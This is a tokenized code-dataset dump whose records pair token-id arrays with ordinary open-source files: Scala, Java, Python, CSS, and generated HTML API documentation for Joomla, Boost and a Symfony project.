[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package com.avsystem.scex import java.{lang => jl, util => ju} import com.avsystem.scex.compiler.ExpressionDef /** * Created: 16-06-2014 * Author: ghik */ class ExpressionDebugInfo( val definition: ExpressionDef) { lazy val originalLines = { val mapping = definition.positionMapping.reverse val lineLengths = definition.expression.split('\n').iterator.map(l => l.length + 1) val originalLineStarts = lineLengths.scanLeft(0)(_ + _).map(mapping.apply) originalLineStarts.sliding(2).map { case Seq(start, end) => definition.originalExpression.substring(start, end - 1) }.toVector } }
pnf/scex
scex-core/src/main/scala/com/avsystem/scex/ExpressionDebugInfo.scala
Scala
apache-2.0
621
[ 30522, 7427, 4012, 1012, 20704, 6508, 13473, 2213, 1012, 8040, 10288, 12324, 9262, 1012, 1063, 11374, 1027, 1028, 1046, 2140, 1010, 21183, 4014, 1027, 1028, 18414, 1065, 12324, 4012, 1012, 20704, 6508, 13473, 2213, 1012, 8040, 10288, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
data-uri { property: url("data:image/svg+xml,%3Csvg%20height%3D%22100%22%20width%3D%22100%22%3E%0A%20%20%3Ccircle%20cx%3D%2250%22%20cy%3D%2250%22%20r%3D%2240%22%20stroke%3D%22black%22%20stroke-width%3D%221%22%20fill%3D%22blue%22%20%2F%3E%0A%3C%2Fsvg%3E"); }
Hokua/Overture.Views
node_modules/less/test/css/include-path-string/include-path-string.css
CSS
mit
262
[ 30522, 2951, 1011, 24471, 2072, 1063, 3200, 1024, 24471, 2140, 1006, 1000, 2951, 1024, 3746, 1013, 17917, 2290, 1009, 20950, 1010, 1003, 1017, 6169, 2615, 2290, 1003, 2322, 26036, 13900, 1003, 7605, 1003, 19594, 8889, 1003, 2570, 1003, 2322...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- template designed by Marco Von Ballmoos --> <title>Docs for page ini.php</title> <link rel="stylesheet" href="../../media/stylesheet.css" /> <script src="../../media/lib/classTree.js"></script> <script language="javascript" type="text/javascript"> var imgPlus = new Image(); var imgMinus = new Image(); imgPlus.src = "../../media/images/plus.png"; imgMinus.src = "../../media/images/minus.png"; function showNode(Node){ switch(navigator.family){ case 'nn4': // Nav 4.x code fork... var oTable = document.layers["span" + Node]; var oImg = document.layers["img" + Node]; break; case 'ie4': // IE 4/5 code fork... var oTable = document.all["span" + Node]; var oImg = document.all["img" + Node]; break; case 'gecko': // Standards Compliant code fork... var oTable = document.getElementById("span" + Node); var oImg = document.getElementById("img" + Node); break; } oImg.src = imgMinus.src; oTable.style.display = "block"; } function hideNode(Node){ switch(navigator.family){ case 'nn4': // Nav 4.x code fork... var oTable = document.layers["span" + Node]; var oImg = document.layers["img" + Node]; break; case 'ie4': // IE 4/5 code fork... var oTable = document.all["span" + Node]; var oImg = document.all["img" + Node]; break; case 'gecko': // Standards Compliant code fork... var oTable = document.getElementById("span" + Node); var oImg = document.getElementById("img" + Node); break; } oImg.src = imgPlus.src; oTable.style.display = "none"; } function nodeIsVisible(Node){ switch(navigator.family){ case 'nn4': // Nav 4.x code fork... var oTable = document.layers["span" + Node]; break; case 'ie4': // IE 4/5 code fork... var oTable = document.all["span" + Node]; break; case 'gecko': // Standards Compliant code fork... var oTable = document.getElementById("span" + Node); break; } return (oTable && oTable.style.display == "block"); } function toggleNodeVisibility(Node){ if (nodeIsVisible(Node)){ hideNode(Node); }else{ showNode(Node); } } </script> </head> <body> <div class="page-body"> <h2 class="file-name"><img src="../../media/images/Page_logo.png" alt="File" style="vertical-align: middle">/libraries/joomla/registry/format/ini.php</h2> <a name="sec-description"></a> <div class="info-box"> <div class="info-box-title">Description</div> <div class="nav-bar"> <span class="disabled">Description</span> | <a href="#sec-classes">Classes</a> </div> <div class="info-box-body"> <!-- ========== Info from phpDoc block ========= --> <ul class="tags"> <li><span class="field">copyright:</span> Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.</li> <li><span class="field">filesource:</span> <a href="../../filesource/fsource_Joomla-Platform_Registry_librariesjoomlaregistryformatini.php.html">Source Code for this file</a></li> <li><span class="field">license:</span> GNU</li> </ul> </div> </div> <a name="sec-classes"></a> <div class="info-box"> <div class="info-box-title">Classes</div> <div class="nav-bar"> <a href="#sec-description">Description</a> | <span class="disabled">Classes</span> </div> <div class="info-box-body"> <table cellpadding="2" cellspacing="0" class="class-table"> <tr> <th class="class-table-header">Class</th> <th class="class-table-header">Description</th> </tr> <tr> <td style="padding-right: 2em; vertical-align: top; white-space: nowrap"> <img src="../../media/images/Class.png" alt=" class" title=" class"/> <a href="../../Joomla-Platform/Registry/JRegistryFormatINI.html">JRegistryFormatINI</a> </td> <td> INI format handler for JRegistry. </td> </tr> </table> </div> </div> <p class="notes" id="credit"> Documentation generated on Tue, 19 Nov 2013 15:05:33 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.3</a> </p> </div></body> </html>
asika32764/Joomla-CMS-API-Document
Joomla-Platform/Registry/_libraries---joomla---registry---format---ini.php.html
HTML
gpl-2.0
4,708
[ 30522, 1026, 1029, 20950, 2544, 1027, 1000, 1015, 1012, 1014, 1000, 17181, 1027, 1000, 11163, 1011, 6070, 28154, 1011, 1015, 1000, 1029, 1028, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
Write-o ======= The goal: simple simple distraction-free writing.
EvanHahn/Write-o
README.md
Markdown
unlicense
67
[ 30522, 4339, 1011, 1051, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1996, 3125, 1024, 3722, 3722, 14836, 1011, 2489, 3015, 1012, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Struct template size_type</title> <link rel="stylesheet" href="../../boostbook.css" type="text/css"> <meta name="generator" content="DocBook XSL Stylesheets V1.73.2"> <link rel="start" href="../../index.html" title="The Boost C++ Libraries BoostBook Documentation Subset"> <link rel="up" href="../../intrusive/reference.html#header.boost.intrusive.options_hpp" title="Header &lt;boost/intrusive/options.hpp&gt;"> <link rel="prev" href="constant_time_size.html" title="Struct template constant_time_size"> <link rel="next" href="compare.html" title="Struct template compare"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table cellpadding="2" width="100%"><tr> <td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../boost.png"></td> <td align="center"><a href="../../../../index.html">Home</a></td> <td align="center"><a href="../../../../libs/libraries.htm">Libraries</a></td> <td align="center"><a href="http://www.boost.org/users/people.html">People</a></td> <td align="center"><a href="http://www.boost.org/users/faq.html">FAQ</a></td> <td align="center"><a href="../../../../more/index.htm">More</a></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="constant_time_size.html"><img src="../../../../doc/html/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../intrusive/reference.html#header.boost.intrusive.options_hpp"><img src="../../../../doc/html/images/up.png" alt="Up"></a><a accesskey="h" href="../../index.html"><img src="../../../../doc/html/images/home.png" alt="Home"></a><a accesskey="n" href="compare.html"><img src="../../../../doc/html/images/next.png" alt="Next"></a> </div> <div class="refentry" lang="en"> <a name="boost.intrusive.size_type"></a><div class="titlepage"></div> <div class="refnamediv"> <h2><span class="refentrytitle">Struct template size_type</span></h2> <p>boost::intrusive::size_type</p> </div> <h2 xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv-title">Synopsis</h2> <div xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv"><pre class="synopsis"><span class="emphasis"><em>// In header: &lt;<a class="link" href="../../intrusive/reference.html#header.boost.intrusive.options_hpp" title="Header &lt;boost/intrusive/options.hpp&gt;">boost/intrusive/options.hpp</a>&gt; </em></span><span class="bold"><strong>template</strong></span>&lt;<span class="bold"><strong>typename</strong></span> SizeType&gt; <span class="bold"><strong>struct</strong></span> <a class="link" href="size_type.html" title="Struct template size_type">size_type</a> { };</pre></div> <div class="refsect1" lang="en"> <a name="id3571810"></a><h2>Description</h2> <p>This option setter specifies the type that the container will use to store its size. </p> </div> </div> <table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr> <td align="left"></td> <td align="right"><div class="copyright-footer">Copyright © 2005 Olaf Krzikalla, 2006-2008 Ion Gaztañaga<p> Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at <a href="http://www.boost.org/LICENSE_1_0.txt" target="_top">http://www.boost.org/LICENSE_1_0.txt</a>) </p> </div></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="constant_time_size.html"><img src="../../../../doc/html/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../intrusive/reference.html#header.boost.intrusive.options_hpp"><img src="../../../../doc/html/images/up.png" alt="Up"></a><a accesskey="h" href="../../index.html"><img src="../../../../doc/html/images/home.png" alt="Home"></a><a accesskey="n" href="compare.html"><img src="../../../../doc/html/images/next.png" alt="Next"></a> </div> </body> </html>
scs/uclinux
lib/boost/boost_1_38_0/doc/html/boost/intrusive/size_type.html
HTML
gpl-2.0
3,970
[ 30522, 1026, 16129, 1028, 1026, 2132, 1028, 1026, 18804, 8299, 1011, 1041, 15549, 2615, 1027, 1000, 4180, 1011, 2828, 1000, 4180, 1027, 1000, 3793, 1013, 16129, 1025, 25869, 13462, 1027, 11163, 1011, 6070, 28154, 1011, 1015, 1000, 1028, 102...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
from .base import DerivedType from categorical import CategoricalComparator from .categorical_type import CategoricalType class ExistsType(CategoricalType) : type = "Exists" _predicate_functions = [] def __init__(self, definition) : super(CategoricalType, self ).__init__(definition) self.cat_comparator = CategoricalComparator([0,1]) self.higher_vars = [] for higher_var in self.cat_comparator.dummy_names : dummy_var = DerivedType({'name' : higher_var, 'type' : 'Dummy', 'has missing' : self.has_missing}) self.higher_vars.append(dummy_var) def comparator(self, field_1, field_2) : if field_1 and field_2 : return self.cat_comparator(1, 1) elif field_1 or field_2 : return self.cat_comparator(0, 1) else : return self.cat_comparator(0, 0) # This flag tells fieldDistances in dedupe.core to pass # missing values (None) into the comparator comparator.missing = True
tfmorris/dedupe
dedupe/variables/exists.py
Python
mit
1,117
[ 30522, 2013, 1012, 2918, 12324, 5173, 13874, 2013, 4937, 27203, 12324, 4937, 27203, 9006, 28689, 4263, 2013, 1012, 4937, 27203, 1035, 2828, 12324, 4937, 27203, 13874, 2465, 6526, 13874, 1006, 4937, 27203, 13874, 1007, 1024, 2828, 1027, 1000, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* First created by JCasGen Sat Apr 11 19:49:33 EDT 2015 */ package edu.cmu.lti.oaqa.type.nlp; import org.apache.uima.jcas.JCas; import org.apache.uima.jcas.JCasRegistry; import org.apache.uima.cas.impl.CASImpl; import org.apache.uima.cas.impl.FSGenerator; import org.apache.uima.cas.FeatureStructure; import org.apache.uima.cas.impl.TypeImpl; import org.apache.uima.cas.Type; import org.apache.uima.cas.impl.FeatureImpl; import org.apache.uima.cas.Feature; import org.apache.uima.jcas.tcas.Annotation_Type; /** The phrase in the question that indicates the answer variable. * Updated by JCasGen Sun Apr 19 19:46:50 EDT 2015 * @generated */ public class Focus_Type extends Annotation_Type { /** @generated * @return the generator for this type */ @Override protected FSGenerator getFSGenerator() {return fsGenerator;} /** @generated */ private final FSGenerator fsGenerator = new FSGenerator() { public FeatureStructure createFS(int addr, CASImpl cas) { if (Focus_Type.this.useExistingInstance) { // Return eq fs instance if already created FeatureStructure fs = Focus_Type.this.jcas.getJfsFromCaddr(addr); if (null == fs) { fs = new Focus(addr, Focus_Type.this); Focus_Type.this.jcas.putJfsFromCaddr(addr, fs); return fs; } return fs; } else return new Focus(addr, Focus_Type.this); } }; /** @generated */ @SuppressWarnings ("hiding") public final static int typeIndexID = Focus.typeIndexID; /** @generated @modifiable */ @SuppressWarnings ("hiding") public final static boolean featOkTst = JCasRegistry.getFeatOkTst("edu.cmu.lti.oaqa.type.nlp.Focus"); /** @generated */ final Feature casFeat_token; /** @generated */ final int casFeatCode_token; /** @generated * @param addr low level Feature Structure reference * @return the feature value */ public int getToken(int addr) { if (featOkTst && casFeat_token == null) jcas.throwFeatMissing("token", "edu.cmu.lti.oaqa.type.nlp.Focus"); return ll_cas.ll_getRefValue(addr, casFeatCode_token); } /** @generated * @param addr low level Feature Structure reference * @param v value to set */ public void setToken(int addr, int v) { if (featOkTst && casFeat_token == null) jcas.throwFeatMissing("token", "edu.cmu.lti.oaqa.type.nlp.Focus"); ll_cas.ll_setRefValue(addr, casFeatCode_token, v);} /** @generated */ final Feature casFeat_label; /** @generated */ final int casFeatCode_label; /** @generated * @param addr low level Feature Structure reference * @return the feature value */ public String getLabel(int addr) { if (featOkTst && casFeat_label == null) jcas.throwFeatMissing("label", "edu.cmu.lti.oaqa.type.nlp.Focus"); return ll_cas.ll_getStringValue(addr, casFeatCode_label); } /** @generated * @param addr low level Feature Structure reference * @param v value to set */ public void setLabel(int addr, String v) { if (featOkTst && casFeat_label == null) jcas.throwFeatMissing("label", "edu.cmu.lti.oaqa.type.nlp.Focus"); ll_cas.ll_setStringValue(addr, casFeatCode_label, v);} /** initialize variables to correspond with Cas Type and Features * @generated * @param jcas JCas * @param casType Type */ public Focus_Type(JCas jcas, Type casType) { super(jcas, casType); casImpl.getFSClassRegistry().addGeneratorForType((TypeImpl)this.casType, getFSGenerator()); casFeat_token = jcas.getRequiredFeatureDE(casType, "token", "edu.cmu.lti.oaqa.type.nlp.Token", featOkTst); casFeatCode_token = (null == casFeat_token) ? JCas.INVALID_FEATURE_CODE : ((FeatureImpl)casFeat_token).getCode(); casFeat_label = jcas.getRequiredFeatureDE(casType, "label", "uima.cas.String", featOkTst); casFeatCode_label = (null == casFeat_label) ? JCas.INVALID_FEATURE_CODE : ((FeatureImpl)casFeat_label).getCode(); } }
oaqa/baseqa
src/main/java/edu/cmu/lti/oaqa/type/nlp/Focus_Type.java
Java
apache-2.0
4,029
[ 30522, 1013, 1008, 2034, 2580, 2011, 29175, 3022, 6914, 2938, 19804, 2340, 2539, 1024, 4749, 1024, 3943, 3968, 2102, 2325, 1008, 1013, 7427, 3968, 2226, 1012, 4642, 2226, 1012, 8318, 2072, 1012, 1051, 20784, 2050, 1012, 2828, 1012, 17953, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package net.daw.bean; import com.google.gson.annotations.Expose; /** * * @author rafa */ public class Element implements IElement { @Expose private String tag; // @Expose // private String name; @Expose private String id; @Expose private String clase; @Override public String getTag() { return tag; } @Override public void setTag(String tag) { this.tag = tag; } // @Override // public String getName() { // return name; // } // // @Override // public void setName(String name) { // this.name = name; // } @Override public String getId() { return id; } @Override public void setId(String id) { this.id = id; } @Override public String getTagClass() { return clase; } @Override public void setTagClass(String clase) { this.clase = clase; } }
Josecho93/ExamenCliente
src/main/java/net/daw/bean/Element.java
Java
mit
1,120
[ 30522, 1013, 1008, 1008, 2000, 2689, 2023, 6105, 20346, 1010, 5454, 6105, 20346, 2015, 1999, 2622, 5144, 1012, 1008, 2000, 2689, 2023, 23561, 5371, 1010, 5454, 5906, 1064, 23561, 2015, 1008, 1998, 2330, 1996, 23561, 1999, 1996, 3559, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# php-csl
AlexanderDenkMM/php-csl
README.md
Markdown
unlicense
9
[ 30522, 1001, 25718, 1011, 20116, 2140, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="ApiGen 2.8.0" /> <title>Namespace Symfony\Component\Form\Extension\Core\ChoiceList | seip</title> <script type="text/javascript" src="resources/combined.js?784181472"></script> <script type="text/javascript" src="elementlist.js?3927760630"></script> <link rel="stylesheet" type="text/css" media="all" href="resources/style.css?3505392360" /> </head> <body> <div id="left"> <div id="menu"> <a href="index.html" title="Overview"><span>Overview</span></a> <div id="groups"> <h3>Namespaces</h3> <ul> <li><a href="namespace-Acme.html">Acme<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.html">DemoBundle<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Command.html">Command</a> </li> <li><a href="namespace-Acme.DemoBundle.Controller.html">Controller</a> </li> <li><a href="namespace-Acme.DemoBundle.DependencyInjection.html">DependencyInjection</a> </li> <li><a href="namespace-Acme.DemoBundle.EventListener.html">EventListener</a> </li> <li><a href="namespace-Acme.DemoBundle.Form.html">Form</a> </li> <li><a href="namespace-Acme.DemoBundle.Proxy.html">Proxy<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.html">__CG__<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.html">Symfony<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.html">Component<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.html">Security<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.Acl.html">Acl<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.Acl.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.Acl.Tests.Domain.html">Domain</a> </li> </ul></li></ul></li> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.Core.html">Core<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.Core.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Proxy.__CG__.Symfony.Component.Security.Core.Tests.Util.html">Util</a> </li> </ul></li></ul></li></ul></li></ul></li></ul></li></ul></li></ul></li> <li><a href="namespace-Acme.DemoBundle.Tests.html">Tests<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Tests.Controller.html">Controller</a> </li> </ul></li> <li><a href="namespace-Acme.DemoBundle.Twig.html">Twig<span></span></a> <ul> <li><a href="namespace-Acme.DemoBundle.Twig.Extension.html">Extension</a> </li> </ul></li></ul></li></ul></li> <li><a href="namespace-Alpha.html">Alpha</a> </li> <li><a href="namespace-Apc.html">Apc<span></span></a> <ul> <li><a href="namespace-Apc.NamespaceCollision.html">NamespaceCollision<span></span></a> <ul> <li><a href="namespace-Apc.NamespaceCollision.A.html">A<span></span></a> <ul> <li><a href="namespace-Apc.NamespaceCollision.A.B.html">B</a> </li> </ul></li></ul></li> <li><a href="namespace-Apc.Namespaced.html">Namespaced</a> </li> </ul></li> <li><a href="namespace-Assetic.html">Assetic<span></span></a> <ul> <li><a href="namespace-Assetic.Asset.html">Asset<span></span></a> <ul> <li><a href="namespace-Assetic.Asset.Iterator.html">Iterator</a> </li> </ul></li> <li><a href="namespace-Assetic.Cache.html">Cache</a> </li> <li><a href="namespace-Assetic.Exception.html">Exception</a> </li> <li><a 